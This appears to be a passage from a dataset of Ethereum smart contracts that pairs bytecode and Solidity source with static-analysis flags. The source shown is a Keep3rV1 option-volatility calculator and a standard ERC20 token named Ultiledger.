0160a01b0319909116178155919050565b6106d96040518060a001604052806000815260200160008152602001600081526020016000815260200160006001600160a01b031681525090565b60008054819081908190819081906106f69060ff166103e86110db565b61ffff166107068c6103e861100e565b6107109190611101565b9050600061071e828d611123565b60008054919250906103e89061073c90610100900460ff168561100e565b6107469190611101565b9050610752818361113a565b965060018c600181111561076857610768611152565b14156108465760405163c57dc23560e01b8152600481018b90526001600160a01b038c169063c57dc23590602401602060405180830381865afa1580156107b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d79190611168565b604051636a4731c560e11b8152600481018c90529094506001600160a01b038c169063d48e638a90602401602060405180830381865afa15801561081f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108439190611181565b97505b60008c600181111561085a5761085a611152565b14156109385760405163c57dc23560e01b8152600481018b90526001600160a01b038c169063c57dc23590602401602060405180830381865afa1580156108a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c99190611168565b604051636a4731c560e11b8152600481018c90529094506001600160a01b038c169063d48e638a90602401602060405180830381865afa158015610911573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109359190611181565b97505b6103e8610945858561100e565b61094f9190611101565b95508061095c8785611123565b6109669190611123565b6040805160a08101825298895260208901919091528701959095525060608501525050506001600160a01b0390911660808201529050949350505050565b6060808201516040516bffffffffffffffffffffffff1985841b81166020830152603482018990529286901b909216605483015260688201869052608882015260009060a801604051602081830303815290604052805190602001209050610a0c8183610e71565b6001600160a01b0316876001600160a01b031614610a6c5760405162461bcd60e51b815260206004820152601f60248201527f73656c6c6572207369676e20766572696669636174696f6e206661696c65640060448201526064016101d1565b50505050505050565b6001610a8760a0860160808701610fd7565b6001811115610a9857610a98611152565b1415610b1e576000546201000090046001600160a01b031663f709b906610ac56080870160608801610fba565b83858860e001356040518563ffffffff1660e01b8152600401610aeb949392919061119e565b600060405180830381600087803b158015610b0557600080fd5b505af1158015610b19573d6000803e3d6000fd5b505050505b6000610b3060a0860160808701610fd7565b6001811115610b4157610b41611152565b1415610bfa576000546201000090046001600160a01b0316639c1c2ee9610b6e6080870160608801610fba565b60405160e083811b6001600160e01b03191682526001600160a01b03928316600483015285831660248301529186166044820152908701356064820152610100870135608482015260c060a4820152600060c482015260e401600060405180830381600087803b158015610be157600080fd5b505af1158015610bf5573d6000803e3d6000fd5b505050505b825115610c8f576000546201000090046001600160a01b031663776062c3610c286060870160408801610fba565b60015486516040516001600160e01b031960e086901b168152610c5c939288926001600160a01b039091169160040161119e565b600060405180830381600087803b158015610c7657600080fd5b505af1158015610c8a573d6000803e3d6000fd5b505050505b604083015115610d1d576000546201000090046001600160a01b031663776062c3610cc06060870160408801610fba565b84866080015187604001516040518563ffffffff1660e01b8152600401610cea949392919061119e565b600060405180830381600087803b158015610d0457600080fd5b505af1158015610d18573d6000803e3d6000fd5b505050505b6000546201000090046001600160a01b031663776062c3610d446060870160408801610fba565b848487602001516040518563ffffffff1660e01b8152600401610d6a949392919061119e565b600060405180830381600087803b158015610d8457600080fd5b505af1158015610d98573d6000803e3d6000fd5b5050505050505050565b6060808201516040516bffffffffffffffffffffffff1986841b81166020830152603482018a90529287901b9092166054830152606882018790526088820184905260a882015260009060c801604051602081830303815290604052805190602001209050610e118183610e71565b6001600160a01b0316886001600160a01b031614610d985760405162461bcd60e51b815260206004820152601e60248201527f6275796572207369676e20766572696669636174696f6e206661696c6564000060448201526064016101d1565b6040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101839052600090600190605c0160408051601f19818403018152828252805160209182012086518783015188850151600087529386018086529290925260ff16928401929092526060830191909152608082015260a0016020604051602081039080840390855afa158015610f16573d6000803e3d6000fd5b5050604051601f190151949350505050565b6000808284036101a0811215610f3d57600080fd5b61012080821215610f4d57600080fd5b849350608061011f1983011215610f6357600080fd5b92959390920193505050565b803560ff811681146103d657600080fd5b600060208284031215610f9257600080fd5b610f9b82610f6f565b9392505050565b6001600160a01b0381168114610fb757600080fd5b50565b600060208284031215610fcc57600080fd5b8135610f9b81610fa2565b600060208284031215610fe957600080fd5b813560028110610f9b57600080fd5b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561102857611028610ff8565b500290565b60006080828403121561103f57600080fd5b6040516080810181811067ffffffffffffffff8211171561107057634e487b7160e01b600052604160045260246000fd5b60405261107c83610f6f565b81526020830135602082015260408301356040820152606083013560608201528091505092915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600061ffff8083168185168083038211156110f8576110f8610ff8565b01949350505050565b60008261111e57634e487b7160e01b600052601260045260246000fd5b500490565b60008282101561113557611135610ff8565b500390565b6000821982111561114d5761114d610ff8565b500190565b634e487b7160e01b600052602160045260246000fd5b60006020828403121561117a57600080fd5b5051919050565b60006020828403121561119357600080fd5b8151610f9b81610fa2565b6001600160a01b03948516815292841660208401529216604082015260608101919091526080019056fea2646970667358221220a8a8e154a571e76e15f5b6cb0db5834c23a315248cb3e940f4d52b22813bb8d764736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,156 |
0x5854a86b67f7ec80dad9083b98758b01049b4532
|
/**
*Submitted for verification at Etherscan.io on 2020-11-16
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IKeep3rV1Oracle {
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory);
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut);
}
interface IERC20 {
function decimals() external view returns (uint);
}
contract Keep3rV1Volatility {
uint private constant FIXED_1 = 0x080000000000000000000000000000000;
uint private constant FIXED_2 = 0x100000000000000000000000000000000;
uint private constant SQRT_1 = 13043817825332782212;
uint private constant LNX = 3988425491;
uint private constant LOG_10_2 = 3010299957;
uint private constant LOG_E_2 = 6931471806;
uint private constant BASE = 1e10;
IKeep3rV1Oracle public constant KV1O = IKeep3rV1Oracle(0x73353801921417F465377c8d898c6f4C0270282C);
function floorLog2(uint256 _n) internal pure returns (uint8) {
uint8 res = 0;
if (_n < 256) {
// At most 8 iterations
while (_n > 1) {
_n >>= 1;
res += 1;
}
} else {
// Exactly 8 iterations
for (uint8 s = 128; s > 0; s >>= 1) {
if (_n >= (uint(1) << s)) {
_n >>= s;
res |= s;
}
}
}
return res;
}
function ln(uint256 x) internal pure returns (uint) {
uint res = 0;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count; // now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = 127; i > 0; --i) {
x = (x * x) / FIXED_1; // now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1; // now 1 < x < 2
res += uint(1) << (i - 1);
}
}
}
return res * LOG_E_2 / BASE;
}
/**
* @dev computes e ^ (x / FIXED_1) * FIXED_1
* input range: 0 <= x <= OPT_EXP_MAX_VAL - 1
* auto-generated via 'PrintFunctionOptimalExp.py'
* Detailed description:
* - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible
* - The exponentiation of each binary exponent is given (pre-calculated)
* - The exponentiation of r is calculated via Taylor series for e^x, where x = r
* - The exponentiation of the input is calculated by multiplying the intermediate results above
* - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859
*/
function optimalExp(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3)
z = (z * y) / FIXED_1;
res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!)
z = (z * y) / FIXED_1;
res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!)
z = (z * y) / FIXED_1;
res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!)
z = (z * y) / FIXED_1;
res += z * 0x004807432bc18000; // add y^05 * (20! / 05!)
z = (z * y) / FIXED_1;
res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!)
z = (z * y) / FIXED_1;
res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!)
z = (z * y) / FIXED_1;
res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!)
z = (z * y) / FIXED_1;
res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!)
z = (z * y) / FIXED_1;
res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!)
z = (z * y) / FIXED_1;
res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!)
z = (z * y) / FIXED_1;
res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!)
z = (z * y) / FIXED_1;
res += z * 0x0000000017499f00; // add y^13 * (20! / 13!)
z = (z * y) / FIXED_1;
res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!)
z = (z * y) / FIXED_1;
res += z * 0x00000000001c6380; // add y^15 * (20! / 15!)
z = (z * y) / FIXED_1;
res += z * 0x000000000001c638; // add y^16 * (20! / 16!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!)
z = (z * y) / FIXED_1;
res += z * 0x000000000000017c; // add y^18 * (20! / 18!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000000014; // add y^19 * (20! / 19!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000000001; // add y^20 * (20! / 20!)
res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0!
if ((x & 0x010000000000000000000000000000000) != 0)
res = (res * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3)
if ((x & 0x020000000000000000000000000000000) != 0)
res = (res * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2)
if ((x & 0x040000000000000000000000000000000) != 0)
res = (res * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1)
if ((x & 0x080000000000000000000000000000000) != 0)
res = (res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0)
if ((x & 0x100000000000000000000000000000000) != 0)
res = (res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1)
if ((x & 0x200000000000000000000000000000000) != 0)
res = (res * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2)
if ((x & 0x400000000000000000000000000000000) != 0)
res = (res * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3)
return res;
}
function quote(address tokenIn, address tokenOut, uint t) public view returns (uint call, uint put) {
uint price = KV1O.current(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut);
return quotePrice(tokenIn, tokenOut, t, price, price);
}
function quotePrice(address tokenIn, address tokenOut, uint t, uint sp, uint st) public view returns (uint call, uint put) {
uint v = rVol(tokenIn, tokenOut, 48, 2);
return quoteAll(t, v, sp, st);
}
function quoteAll(uint t, uint v, uint sp, uint st) public pure returns (uint call, uint put) {
uint _c;
uint _p;
if (sp > st) {
_c = C(t, v, sp, st);
_p = st-sp+_c;
} else {
_p = C(t, v, st, sp);
_c = st-sp+_p;
}
return (_c, _p);
}
function C(uint t, uint v, uint sp, uint st) public pure returns (uint) {
if (sp == st) {
return LNX * sp / 1e10 * v / 1e18 * sqrt(1e18 * t / 365) / 1e9;
}
uint sigma = ((v**2)/2);
uint sigmaB = 1e36;
uint sig = 1e18 * sigma / sigmaB * t / 365;
uint sSQRT = v * sqrt(1e18 * t / 365) / 1e9;
uint d1 = 1e18 * ln(FIXED_1 * sp / st) / FIXED_1;
d1 = (d1 + sig) * 1e18 / sSQRT;
uint d2 = d1 - sSQRT;
uint cdfD1 = ncdf(FIXED_1 * d1 / 1e18);
uint cdfD2 = ncdf(FIXED_1 * d2 / 1e18);
return sp * cdfD1 / 1e14 - st * cdfD2 / 1e14;
}
function ncdf(uint x) internal pure returns (uint) {
int t1 = int(1e7 + (2315419 * x / FIXED_1));
uint exp = x / 2 * x / FIXED_1;
int d = int(3989423 * FIXED_1 / optimalExp(uint(exp)));
uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1);
if( x > 0 ) prob = 1e14 - prob;
return prob;
}
function generalLog(uint256 x) internal pure returns (uint) {
uint res = 0;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count; // now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = 127; i > 0; --i) {
x = (x * x) / FIXED_1; // now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1; // now 1 < x < 2
res += uint(1) << (i - 1);
}
}
}
return res * LOG_10_2 / BASE;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function vol(uint[] memory p) public pure returns (uint x) {
for (uint8 i = 1; i <= (p.length-1); i++) {
x += ((generalLog(p[i] * FIXED_1) - generalLog(p[i-1] * FIXED_1)))**2;
//denom += FIXED_1**2;
}
//return (sum, denom);
x = sqrt(uint(252) * sqrt(x / (p.length-1)));
return uint(1e18) * x / SQRT_1;
}
function rVol(address tokenIn, address tokenOut, uint points, uint window) public view returns (uint) {
return vol(KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, points, window));
}
function rVolHourly(address tokenIn, address tokenOut, uint points) external view returns (uint) {
return rVol(tokenIn, tokenOut, points, 2);
}
function rVolDaily(address tokenIn, address tokenOut, uint points) external view returns (uint) {
return rVol(tokenIn, tokenOut, points, 48);
}
function rVolWeekly(address tokenIn, address tokenOut, uint points) external view returns (uint) {
return rVol(tokenIn, tokenOut, points, 336);
}
function rVolHourlyRecent(address tokenIn, address tokenOut) external view returns (uint) {
return rVol(tokenIn, tokenOut, 2, 2);
}
function rVolDailyRecent(address tokenIn, address tokenOut) external view returns (uint) {
return rVol(tokenIn, tokenOut, 2, 48);
}
function rVolWeeklyRecent(address tokenIn, address tokenOut) external view returns (uint) {
return rVol(tokenIn, tokenOut, 2, 336);
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80637f8290d01161008c578063c6a5153511610066578063c6a515351461033b578063c801e06714610371578063d3442edf146103a7578063e031d453146103d6576100cf565b80637f8290d01461023e578063892f82f014610262578063b646638414610305576100cf565b80630969e8db146100d45780630e7559741461012f5780632b9432a81461016f5780633394f9ed1461019e5780633a6fdf47146101d457806365c3c2b414610210575b600080fd5b610116600480360360a08110156100ea57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060800135610404565b6040805192835260208301919091528051918290030190f35b61015d6004803603604081101561014557600080fd5b506001600160a01b0381358116916020013516610434565b60408051918252519081900360200190f35b6101166004803603608081101561018557600080fd5b508035906020810135906040810135906060013561044c565b61015d600480360360608110156101b457600080fd5b506001600160a01b03813581169160208101359091169060400135610496565b61015d600480360360808110156101ea57600080fd5b506001600160a01b038135811691602081013590911690604081013590606001356104ad565b61015d6004803603604081101561022657600080fd5b506001600160a01b0381358116916020013516610679565b610246610688565b604080516001600160a01b039092168252519081900360200190f35b61015d6004803603602081101561027857600080fd5b81019060208101813564010000000081111561029357600080fd5b8201836020820111156102a557600080fd5b803590602001918460208302840111640100000000831117156102c757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506106a0945050505050565b6101166004803603606081101561031b57600080fd5b506001600160a01b03813581169160208101359091169060400135610741565b61015d6004803603606081101561035157600080fd5b506001600160a01b03813581169160208101359091169060400135610870565b61015d6004803603606081101561038757600080fd5b506001600160a01b0381358116916020810135909116906040013561087f565b61015d600480360360808110156103bd57600080fd5b508035906020810135906040810135906060013561088f565b61015d600480360360408110156103ec57600080fd5b506001600160a01b03813581169160200135166109e5565b60008060006104178888603060026104ad565b90506104258682878761044c565b92509250509550959350505050565b6000610445838360026101506104ad565b9392505050565b60008060008084861115610473576104668888888861088f565b9150508484038101610489565b61047f8888878961088f565b9050808686030191505b9097909650945050505050565b60006104a584848460026104ad565b949350505050565b60006106707373353801921417f465377c8d898c6f4c0270282c6001600160a01b0316630a79339887886001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561050f57600080fd5b505afa158015610523573d6000803e3d6000fd5b505050506040513d602081101561053957600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a602483015291891660448201526064810188905260848101879052905160a4808301926000929190829003018186803b1580156105a257600080fd5b505afa1580156105b6573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156105df57600080fd5b81019080805160405193929190846401000000008211156105ff57600080fd5b90830190602082018581111561061457600080fd5b825186602082028301116401000000008211171561063157600080fd5b82525081516020918201928201910280838360005b8381101561065e578181015183820152602001610646565b505050509050016040525050506106a0565b95945050505050565b600061044583836002806104ad565b7373353801921417f465377c8d898c6f4c0270282c81565b600060015b60018351038160ff16116107035760026106dd6001607f1b856001850360ff16815181106106cf57fe5b6020026020010151026109f5565b6106f46001607f1b868560ff16815181106106cf57fe5b030a91909101906001016106a5565b5061072561071d6001845103838161071757fe5b04610a8a565b60fc02610a8a565b67b504f333f9de6484670de0b6b3a76400009091020492915050565b60008060007373353801921417f465377c8d898c6f4c0270282c6001600160a01b031663a75d39c287886001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a357600080fd5b505afa1580156107b7573d6000803e3d6000fd5b505050506040513d60208110156107cd57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a6024830152918916604482015290516064808301926020929190829003018186803b15801561082857600080fd5b505afa15801561083c573d6000803e3d6000fd5b505050506040513d602081101561085257600080fd5b505190506108638686868480610404565b9250925050935093915050565b60006104a584848460306104ad565b60006104a58484846101506104ad565b6000818314156108de57633b9aca006108b461016d670de0b6b3a76400008802610717565b670de0b6b3a76400006402540be40063edba8b1387020487020402816108d657fe5b0490506104a5565b600280850a046ec097ce7bc90715b34b9f1000000000600061016d670de0b6b3a7640000840283900489020490506000633b9aca0061092961016d670de0b6b3a76400008c02610717565b89028161093257fe5b04905060006001607f1b610954888a6001607f1b028161094e57fe5b04610ac1565b670de0b6b3a7640000028161096557fe5b04905081838201670de0b6b3a7640000028161097d57fe5b049050818103600061099f670de0b6b3a76400006001607f1b85025b04610b51565b905060006109bb670de0b6b3a76400006001607f1b8502610999565b9050655af3107a40008a820204655af3107a40008c840204039d9c50505050505050505050505050565b60006104458383600260306104ad565b600080600160801b8310610a26576000610a156001607f1b855b04610c1e565b60ff1693841c936001607f1b029150505b6001607f1b831115610a7457607f5b60ff811615610a72576001607f1b848002049350600160801b8410610a6957600193841c9360ff6000198301161b91909101905b60001901610a35565b505b6402540be40063b36d883582025b049392505050565b80600260018201045b81811015610abb57809150600281828581610aaa57fe5b040181610ab357fe5b049050610a93565b50919050565b600080600160801b8310610af0576000610adf6001607f1b85610a0f565b60ff1693841c936001607f1b029150505b6001607f1b831115610b3e57607f5b60ff811615610b3c576001607f1b848002049350600160801b8410610b3357600193841c9360ff6000198301161b91909101905b60001901610aff565b505b6402540be40064019d25ddbe8202610a82565b6000806001607f1b6223549b8402046298968001905060006001607f1b8460028681610b7957fe5b040281610b8257fe5b0490506000610b9082610c80565b623cdfaf607f1b81610b9e57fe5b049050600083848586876578fcdaec220081610bb657fe5b05630115e6cf1901629896800281610bca57fe5b0563010fd4fc01629896800281610bdd57fe5b05623668451901629896800281610bf057fe5b056230bbd7018302629896800281610c0457fe5b059050851561067057655af3107a40000395945050505050565b600080610100831015610c46575b6001831115610c4157600192831c9201610c2c565b610c7a565b60805b60ff811615610c7857600160ff82161b8410610c6d5760ff81169390931c92908117905b60011c607f16610c49565b505b92915050565b6000670168244fdac780006001607f1b6f0fffffffffffffffffffffffffffffff84168080028290048082028390048083028490049485026710e1b3be415a00009092026705a0913f6b1e000091909102010192909181830204905080664807432bc1800002830192506001607f1b82820281610cf957fe5b04905080660c0135dca0400002830192506001607f1b82820281610d1957fe5b049050806601b707b1cdc00002830192506001607f1b82820281610d3957fe5b049050806536e0f639b80002830192506001607f1b82820281610d5857fe5b04905080650618fee9f80002830192506001607f1b82820281610d7757fe5b04905080649c197dcc0002830192506001607f1b82820281610d9557fe5b04905080640e30dce40002830192506001607f1b82820281610db357fe5b0490508064012ebd130002830192506001607f1b82820281610dd157fe5b049050806317499f0002830192506001607f1b82820281610dee57fe5b049050806301a9d48002830192506001607f1b82820281610e0b57fe5b04905080621c638002830192506001607f1b82820281610e2757fe5b049050806201c63802830192506001607f1b82820281610e4357fe5b04905080611ab802830192506001607f1b82820281610e5e57fe5b0490508061017c02830192506001607f1b82820281610e7957fe5b04905080601402830192506001607f1b82820281610e9357fe5b6721c3677c82b400009190049384010482016001607f1b019290506001607c1b851615610ee45770018ebef9eac820ae8682b9793ac6d1e7767001c3d6a24ed82218787d624d3e5eba95f984020492505b6001607d1b851615610f1a577001368b2fc6f9609fe7aceb46aa619baed470018ebef9eac820ae8682b9793ac6d1e77884020492505b6001607e1b851615610f4f576fbc5ab1b16779be3575bd8f0520a9f21f7001368b2fc6f9609fe7aceb46aa619baed584020492505b6001607f1b851615610f83576f454aaa8efe072e7f6ddbab84b40a55c96fbc5ab1b16779be3575bd8f0520a9f21e84020492505b600160801b851615610fb7576f0960aadc109e7a3bf4578099615711ea6f454aaa8efe072e7f6ddbab84b40a55c584020492505b600160811b851615610fea576e2bf84208204f5977f9a8cf01fdce3d6f0960aadc109e7a3bf4578099615711d784020492505b600160821b85161561101b576d03c6ab775dd0b95b4cbee7e65d116e2bf84208204f5977f9a8cf01fdc30784020492505b5090939250505056fea26469706673582212200c4405c01c77ec3616acf39777b1c30d0e1a9a83153c3bafbc0ba879aa25862264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,157 |
0xe884cc2795b9c45beeac0607da9539fd571ccf85
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ultiledger is StandardToken {
string public name = "Ultiledger";
string public symbol = "ULT";
uint8 public decimals = 18;
uint256 public INITIAL_SUPPLY = 45 * 100 * 1000 * 1000 * 10**uint256(decimals);
constructor(address _owner) public {
require(address(0) != _owner);
totalSupply_ = INITIAL_SUPPLY;
balances[_owner] = INITIAL_SUPPLY;
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610368565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103ce565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103d4565b3480156101dd57600080fd5b5061019561054b565b3480156101f257600080fd5b506101fb610551565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a036004351660243561055a565b34801561024157600080fd5b50610195600160a060020a036004351661064a565b34801561026257600080fd5b506100d3610665565b34801561027757600080fd5b5061016c600160a060020a03600435166024356106c0565b34801561029b57600080f